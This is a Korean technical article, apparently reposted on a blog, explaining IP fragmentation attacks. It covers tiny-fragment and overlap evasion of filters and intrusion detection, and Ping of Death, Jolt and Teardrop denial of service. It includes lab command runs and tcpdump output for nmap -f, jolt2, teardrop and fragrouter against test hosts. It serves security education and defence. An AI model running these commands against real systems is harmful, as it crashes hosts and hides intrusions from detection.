여기서 더 이상의 fragment가 없으므로 MF flag가 0으로 셋팅된 것을 볼 수 있다. 그리고 두 번째 fragment와 마찬가지로 ICMP 헤더가 포함되지 않았다.

4000바이트의 ICMP 데이터가 네트워크를 통해 전송될 경우 MTU에 따라 fragment되는 과정을 간단히 살펴보았다.

Top

3. Fragment를 이용한 공격기술들

위에서 알아본 것처럼 fragmentation은 큰 패킷을 전송하기 위해 발생되는 정상적인 과정이지만 공격자는 fragment를 조작하여 패킷필터링 장비나 침입차단시스템을 우회하거나 서비스거부공격을 유발시킬 수 있다.

가. Tiny fragment 공격

Tiny fragment 공격은 최초의 fragment를 아주 작게 만들어서 네트워크 침입탐지시스템이나 패킷 필터링 장비를 우회하는 공격이다.

TCP 헤더(일반적으로 20바이트)가 2개의 fragment에 나뉘어질 정도로 작게 쪼개서 목적지 TCP 포트번호가 첫 번째 fragment에 위치하지 않고 두 번째 fragment에 위치하도록 한다.

패킷필터링 장비나 침입탐지시스템은 필터링을 결정하기 위해 포트번호를 확인하는데 포트번호가 포함되지 않을 정도로 아주 작게(tiny) fragment된 첫 번째 fragment를 통과시킨다. 또한 실제 포트번호가 포함되어 있는 두 번째 fragment는 아예 검사도 하지 않고 통과시킨다. 그 결과 보호되어야할 목적지 서버에서는 이 패킷들이 재조합되어져 공격자가 원하는 포트의 프로그램으로 무사히 연결될 수 있다. 이런 방법으로 패킷 필터링에서 차단되어야 하는 패킷을 통과시킬 수도 있고, 침입탐지시스템에서 비정상적인 접속으로 경보되어져야 하지만 전혀 탐지되지 않게 할 수도 있다. 어떤 패킷 필터링 장비들은 TCP 헤더의 포트번호가 포함되지 않을 정도로 작은 첫 번째 fragment는 drop시키기도 한다.

Tiny fragment 공격은 잘 알려진 스캔 툴인 nmap에서도 공격이 가능하다.
nmap에 -f 옵션을 사용할 경우 TCP 헤더를 몇 개의 fragment로 나누어서 스캔한다.
[root@linux80 /root]# nmap -f -sS -p 23 172.16.2.34
Starting nmap V. 2.54BETA1 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on insecure.kisa.or.kr (172.16.2.34):
Port State Service
23/tcp open telnet
Nmap run completed -- 1 IP address (1 host up) scanned in 0 seconds

이때 tcpdump를 이용하여 패킷을 모니터링 한 결과이다.

02:57:25.633885 truncated-tcp 16 (frag 19350:16@0+)
02:57:25.634375 linux80.kisa.or.kr > insecure.kisa.or.kr: (frag 19350:4@16)
02:57:25.635071 insecure.kisa.or.kr.telnet > linux80.kisa.or.kr.34326: S 1348389859:1348389859(0) ack 3078700240 win 32696 <mss 536> (DF)
02:57:25.639159 linux80.kisa.or.kr.34326 > insecure.kisa.or.kr.telnet: R 3078700240:3078700240(0) win 0

tcpdump의 결과로 TCP SYN 스캔 즉 half-open 스캔이 수행된 것을 알 수 있다. 그런데 첫 번째 fragment 사이즈는 16바이트로 아무런 옵션이 없을 경우의 TCP 헤더 사이즈인 20바이트보다 작은 것을 볼 수 있다. 그리고 나머지 TCP 헤더 4바이트는 두 번째 fragment에 있다. 일부 침입탐지시스템에서는 이러한 fragment된 스텔스 공격을 탐지 못하는 경우도 있다.

나. Fragment Overlap 공격

Tiny fragment 공격기법에 비해 좀더 정교한 공격이 fragment Overlap 공격이다.

공격자는 공격용 IP 패킷을 위해 두 개의 fragment를 생성한다. 첫 번째 fragment에서는 필킷 필터링 장비에서 허용하는 http(TCP 80) 포트와 같은 포트번호를 가진다. 그리고, 두 번째 fragment에서는 offset을 아주 작게 조작해서 fragment들이 재조합될 때 두 번째 fragment가 첫 번째 fragment의 일부분을 덮어쓰도록 한다. 일반적으로 공격자들은 첫 번째 fragment의 포트번호가 있는 부분까지 덮어씌운다.

IDS에서는 첫 번째 fragment는 허용된 포트번호이므로 통과시키고, 두 번째 fragment는 이전에 이미 허용된 fragment의 ID를 가진 fragment이므로 역시 통과시킨다.

이 두 개의 fragment가 목적지 서버에 도달하여 재조합되면 첫 번째 fragment의 포트번호는 두 번째 fragment의 포트번호로 overwrite되고 TCP/IP 스택은 이 패킷을 필터링 되어야할 포트의 응용프로그램에 전달한다.

Top

다. IP Fragmentation을 이용한 서비스거부공격

fragmentation은 패킷 필터링이나 IDS를 우회하는데 이용할 뿐만 아니라 서비스거부공격에도 이용될 수 있다. 이미 잘 알려진 Ping of Death 공격이나 Teardrop과 같은 것이 fragmentation을 이용한 서비스거부공격이라고 할 수 있다. 이러한 공격들은 이미 잘 알려져 있으며 많은 시스템에서 이미 패치가 되기도 하였지만 최근의 윈도우즈 시스템들도 아직 이 취약점을 여전히 가지고 있기도 한다.

(1) Ping of Death, Jolt

이 공격수법은 표준에 규정된 길이 이상으로 큰 IP 패킷을 전송함으로써 이 패킷을 수신받은 OS에서 이 비정상적인 패킷을 처리하지 못함으로써 서비스거부공격을 유발하도록 하는 방법이다.

RFC-791 "Internet Protocol"에 따르면 헤더를 포함한 IP 패킷의 최대길이는 65,535(즉, 2^16-1)까지로 제한되어 있다. 따라서 실제로 많은 시스템의 IP 패킷을 처리하는 코드들이 이같은 최대길이를 가정하여 구현되어 있다.

통상적으로 공격은 가장 손쉽게 IP 패킷으 전송할 수 있는 ping 프로그램을 이용하여 수행되는데, ping 프로그램은 실제 ICMP ECHO request 패킷을 상대방에게 전송한다. 통상적으로 IP 패킷의 헤더는 특별한 옵션을 사용하지 않았을 경우에 20바이트가 사용되며, ICMP ECHO request 패킷은 8바이트의 ICMP 헤더를 사용하므로 실제 데이터 길이의 최대값은 65535-20-8=65507바이트가 된다. 따라서 ping 패킷의 최대 길이를 제한하지 않는 시스템에서는 다음과 같은 간단한 명령으로 공격을 수행할 수 있다.

ping -l 65510 victim.host.ip.address

기존의 윈도우 NT 시스템 등에서는 이러한 명령이 허용되었지만 최근에는 비정상적으로 큰 ICMP 데이터를 발생시키지 못하도록 하고 있다. 하지만 jolt라는 공격툴을 이용해서 가능한 IP 데이터그램의 크기를 초과하는 패킷을 생성하여 전송하는 공격을 사용할 수 있다.

[root@insecure DoS]# ./jolt2

Usage: ./jolt2 [-s src_addr] [-p port] dest_addr

Note: UDP used if a port is specified, otherwise ICMP

[root@insecure DoS]# ./jolt2 -p 139 172.16.2.3

공격시 tcpdump를 이용하여 패킷을 캡쳐링하여 보면 다음과 같다.

20:04:51.188599 insecure.kisa.or.kr > 172.16.2.3: (frag 1109:9@65520)
20:04:51.188850 insecure.kisa.or.kr > 172.16.2.3: (frag 1109:9@65520)
20:04:51.189103 insecure.kisa.or.kr > 172.16.2.3: (frag 1109:9@65520)
20:04:51.189358 insecure.kisa.or.kr > 172.16.2.3: (frag 1109:9@65520)
20:04:51.189608 insecure.kisa.or.kr > 172.16.2.3: (frag 1109:9@65520)
20:04:51.189864 insecure.kisa.or.kr > 172.16.2.3: (frag 1109:9@65520)
20:04:51.190115 insecure.kisa.or.kr > 172.16.2.3: (frag 1109:9@65520)
20:04:51.190367 insecure.kisa.or.kr > 172.16.2.3: (frag 1109:9@65520)
20:04:51.190620 insecure.kisa.or.kr > 172.16.2.3: (frag 1109:9@65520)

공격대상시스템인 172.16.2.1 호스트는 윈도우 NT 4.0 시스템인데 이 공격으로 인해 시스템이 정지됨을 확인할 수 있었다.

이 취약점은 여전히 윈도우 NT나 2000시스템에 대해 공격가능하며 보다 자세한 정보는 다음 문서들을 참고하기 바란다.

CERTCC-KR 권고문: KA-2000-032

MS 윈도 NT,2000의 IP Fragment Reassembly과정에서의 DoS 공격 취약점

http://www.certcc.or.kr/advisory/ka2000/ka2000-032.txt

Microsoft Security Bulletin (MS00-029)

Patch Available for "IP Fragment Reassembly" Vulnerability

http://www.microsoft.com/technet/security/bulletin/ms00-029.asp

Top

(2) Teardrop, bonk, New Teardrop

Teardrop 공격도 역시 fragment의 재조합 과정의 취약점을 이용한 서비스거부공격으로 두 번째 fragment의 offset을 조작하여 fragment들을 재조합하는 과정에서 버퍼를 넘쳐 겹쳐쓰게 한다. Teardrop 프로그램은 겹쳐쓰진 offset 필드를 가진 fragment를 만들어 목표 시스템에 보내며, fragment들을 재조합하는 목표 시스템이 정지되거나 재부팅되게 한다.

Teardrop 공격 도구를 이용하여 보자.

[root@unsecure DoS]# ./teardrop.linux --help
./teardrop.linux src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]
[root@unsecure DoS]# ./teardrop.linux 1.1.1.1 172.16.2.3 -t 139
[ Binary courtesy: http://www.rootshell.com/ ]
teardrop route|daemon9
Death on flaxen wings:
From: 1.1.1.1.46838
To: 172.16.2.3. 139
Amt: 1
[ b00m ]

이때 tcpdump를 이용하여 패킷을 모니터링한 내용이다.

23:29:18.503558 1.1.1.1.51331 > 172.16.2.3.139: udp 28 (frag 242:36@0+)
23:29:18.504693 1.1.1.1 > 172.16.2.3: (frag 242:4@24)

첫 번째 fragment의 사이즈가 36인데 두 번째 fragment의 offset이 24이므로 시스템은 36에서 24로 rewind되어야만 한다. 이 경우 TCP/IP 스택 코드의 일부에서 fp->len이 음수값으로 주어지며 이 값이 memcpy()함수에 의해 대단히 큰 양수로 해석되기 때문에 일부 운영체제는 다른 프로그램의 메모리영역까지 덮어써버리기도 한다.

Teardrop 공격과 유사한 공격으로 Bonk, New Teardrop과 같은 공격이 있다.

Top

4. fragrouter

Fragrouter는 네트워크 침입탐지시스템의 벤치마킹을 위해 개발된 도구로 Dug Song(한국인이며 한국이름은 송덕준이다.)이라는 이름으로 보안분야에서 잘 알려진 뛰어난 해커(선의의 의미)에 의해 개발되었다. Dug Song의 홈페이지(http://www.monkey.org/~dugsong)를 방문하면 fragrouter 이외에도 dsniffer와 같은 도구와 몇몇 훌륭한 문서들도 찾을 수 있다.

fragrouter는 단순히 일방향으로 fragmenting하는 라우터라고 할 수 있는데, 공격자로부터 IP 패킷들이 fragrouter에 전달되면 fragrouter에서는 이 패킷을 fragmented된 데이터 스트림으로 바꾸어서 목표시스템에 포워딩해 준다. fragrouter는 하나의 네트워크 인터페이스로 패킷을 받아서 이를 다양한 형태로 fragmentation한 후 동일 인터페이스 혹은 2개 이상의 네트워크 인터페이스로 각각 포워딩해 주는 역할을 하고 있다.

Fragrouter를 이용하여 공격시험을 하기 위해서는 다음의 3대의 장비를 사용하였다.

Attacker : 172.16.2.1
Fragrouter : 172.16.2.2
Victim : 172.16.4.80(linux80.kisa.or.k)

Top

단계 1 :

먼저 공격 시스템에서 목표시스템으로 가는 모든 패킷이 Fragrouter가 설치된 시스템을 거치도록 라우팅 테이블을 조정한다.

[Attacker]# route add -host 172.16.4.80 gw 172.16.2.2
[Attacker]# netstat -nr
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
172.16.4.80 172.16.2.2 255.255.255.255 UGH 0 0 0 eth0

...

단계 2 :

Fragrouter가 설치된 호스트에서 모든 패킷을 8바이트로 fragmentation하여 포워딩하도록 설정한다.

[fragrouter-1.6]# ./fragrouter -i eth0 -F1
fragrouter: frag-1: ordered 8-byte IP fragments

단계 3 :

공격 시스템에서 목표시스템으로 ping을 전송하여 본다.

[Attacker]# ping 172.16.4.80

이때 ping 패킷은 바로 목표시스템으로 전송되지 않고 fragrouter로 전송되어 8바이트로 fragment되어서 전송되는 것을 볼 수 있다.

[fragrouter-1.6]# ./fragrouter -F1

fragrouter: frag-1: ordered 8-byte IP fragments

172.16.2.1 > 172.16.4.80: icmp: type 8 code 0 (frag 34908:8@0+)
172.16.2.1 > 172.16.4.80: (frag 34908:8@8+)
172.16.2.1 > 172.16.4.80: (frag 34908:8@16+)
172.16.2.1 > 172.16.4.80: (frag 34908:8@24+)
172.16.2.1 > 172.16.4.80: (frag 34908:8@32+)
172.16.2.1 > 172.16.4.80: (frag 34908:8@40+)
172.16.2.1 > 172.16.4.80: (frag 34908:8@48+)
172.16.2.1 > 172.16.4.80: (frag 34908:8@56)

Top

단계 4 :

네트워크 모니터링 결과 목표시스템으로 전송되는 ping 패킷이 모두 8바이트로 fragmentation 되어 전송되고 있는 것을 볼 수 있다. 일반적인 ping 데이터 패킷은 56바이트로 fragmentation 없이 전송된다.

[root@linux80 hcjung]# tcpdump host 172.16.2.1

tcpdump: listening on eth0

14:10:37.538311 172.16.2.1 > linux80.kisa.or.kr: icmp: echo request (frag 34908:8@0+)
14:10:37.538599 172.16.2.1 > linux80.kisa.or.kr: (frag 34908:8@8+)
14:10:37.538642 172.16.2.1 > linux80.kisa.or.kr: (frag 34908:8@16+)
14:10:37.538724 172.16.2.1 > linux80.kisa.or.kr: (frag 34908:8@24+)
14:10:37.538790 172.16.2.1 > linux80.kisa.or.kr: (frag 34908:8@32+)
14:10:37.538859 172.16.2.1 > linux80.kisa.or.kr: (frag 34908:8@40+)
14:10:37.538943 172.16.2.1 > linux80.kisa.or.kr: (frag 34908:8@48+)
14:10:37.539023 172.16.2.1 > linux80.kisa.or.kr: (frag 34908:8@56)
14:10:37.539575 linux80.kisa.or.kr > 172.16.2.1: icmp: echo reply

위의 예에서는 ping 패킷을 전송하는 것을 보였지만 공격용 패킷도 마찬가지로 아주 작은 fragment로 나누어서 전송이 된다.

이처럼 fragrouter는 그 자체로써는 공격도구는 아니지만 다른 공격시 네트워크 침입탐지시스템에 발각되지 않고 공격을 가능하게 한다. 예를들어 웹서버에 phf 공격을 할때나 DNS 서버에 버퍼오버플로우 공격을 하거나 아니면 다른 종류의 공격을 할 때 fragrouter를 같이 사용하면 네트워크 침입탐지시스템으로부터 발각되는 것을 피할 수 있다.

Fragrouter에서 fragment할 수 있는 형태는 아래와 같이 다양하다.

Usage: fragrouter [-i interface] [-p] [-g hop] [-G hopcount] ATTACK

where ATTACK is one of the following:

- B1: base-1: normal IP forwarding
- F1: frag-1: ordered 8-byte IP fragments
- F2: frag-2: ordered 24-byte IP fragments
- F3: frag-3: ordered 8-byte IP fragments, one out of order
- F4: frag-4: ordered 8-byte IP fragments, one duplicate
- F5: frag-5: out of order 8-byte fragments, one duplicate
- F6: frag-6: ordered 8-byte fragments, marked last frag first
- F7: frag-7: ordered 16-byte fragments, fwd-overwriting
- T1: tcp-1: 3-whs, bad TCP checksum FIN/RST, ordered 1-byte segments
- T3: tcp-3: 3-whs, ordered 1-byte segments, one duplicate
- T4: tcp-4: 3-whs, ordered 1-byte segments, one overwriting
- T5: tcp-5: 3-whs, ordered 2-byte segments, fwd-overwriting
- T7: tcp-7: 3-whs, ordered 1-byte segments, interleaved null segments
- T8: tcp-8: 3-whs, ordered 1-byte segments, one out of order
- T9: tcp-9: 3-whs, out of order 1-byte segments
- C2: tcbc-2: 3-whs, ordered 1-byte segments, interleaved SYNs
- C3: tcbc-3: ordered 1-byte null segments, 3-whs, ordered 1-byte segments
- R1: tcbt-1: 3-whs, RST, 3-whs, ordered 1-byte segments
- I2: ins-2: 3-whs, ordered 1-byte segments, bad TCP checksums
- I3: ins-3: 3-whs, ordered 1-byte segments, no ACK set
- M1: misc-1: Windows NT 4 SP2 - http://www.dataprotect.com/ntfrag/
- M2: misc-2: Linux IP chains - http://www.dataprotect.com/ipchains/

Top

5. 결론

IP Fragmentation은 이기종의 네트워크 환경에서 IP 패킷의 효율적인 전송을 보장해주고 있지만 앞서 살펴본 것과 같이 몇가지의 보안문제를 가지고 있다. 많은 패킷 필터링 장비나 침입차단시스템, 침입탐지시스템, 그리고 각 운영체제의 IP 스택이 IP fragmentation 재조합을 적절히 처리하지 못하고 있다.

대표적인 IP Fragmentation을 이용한 공격이 Ping of Death, Jolt, teardrop과 같은 서비스거부공격이다. 이는 목적지 시스템이 비정상적인 fragment를 적절히 재조합하지 못함으로써 발생되어 시스템이 중지되거나 재부팅될 수 있다. 최근에는 운영체제에서는 IP Fragmentation을 이용한 서비스거부공격에 견딜 수 있도록 패치가 이미 된 경우가 많다.

하지만 서비스거부공격보다 최근에 더 문제가 되고 있는 것은 IP Fragmentation을 이용하여 침입차단시스템이나 침입탐지시스템을 우회할 수 있는 기술이다.

특히, Dug Song(송덕준 이라는 한국인)이 네트워크기반 침입탐지시스템 벤치마킹을 위해 개발한 fragrouter라는 툴은 모든 패킷을 다양한 형태의 fragment로 쪼개어서 전송함으로써 공격사실을 숨길 수 있다.

침입탐지시스템은 침입사실을 결정하기에 앞서 fragment된 패킷들을 재조합하여야만 IP Fragmentation을 이용한 우회공격의 탐지가 가능할 것이다. 하지만 네트워크 침입탐지시스템이 fragment된 패킷을 재조합하기 위해서는 메모리, 프로세스 등의 많은 시스템 자원을 필요로 하고 실시간 탐지가 어려워질 수 있는 문제가 발생될 수 있다. 호스트기반의 침입탐지시스템에서는 이미 재조합된 IP 데이터그램을 분석하므로 fragment 문제가 발생되지 않으므로 중요 서버에서는 호스트기반의 침입탐지시스템 운영도 고려해 볼 만하다.

6. 참고문헌

[1] Stephen Northcutt, Network Intrusion Detection An Analyst's Handbook, New Riders Publishing, 2000

[2] 한국정보보호센터, '98 해킹현황 및 대응, 한국정보보호센터, 1998

[3] Thomas H. Ptacek, Insertion, Evasion, and Denial of Service:Eluding Network Intrusion Detection, Secure Networks Inc, 1998

[4] Greg Hoglund and Jon Gary, Multiple Levels of De-synchronization and other concerns with testing an IDS system, 2000

[5] Dug Song, NIDSbench, http://www.anzen.com/research/nidsbench/, 1999

[6] Brad Sanford, IP Fragmentation and Fragrouter, http://www.sans.org/infosecFAQ/encryption/IP_frag.html, 2000


'Hacking > web' 카테고리의 다른 글

토마토 님께서 3탄까지 올려서 뒤부분 올립니다. ^^*  (0) 2009.01.12
Web Hacking 4탄 쿠키취약점  (0) 2009.01.12
[쿠키의 모든 것]  (0) 2009.01.12
[웹 모의해킹법 1-4]  (0) 2009.01.12
IP Fragmentation and Teardrop Attack  (0) 2009.01.12
And
prev | 1 | next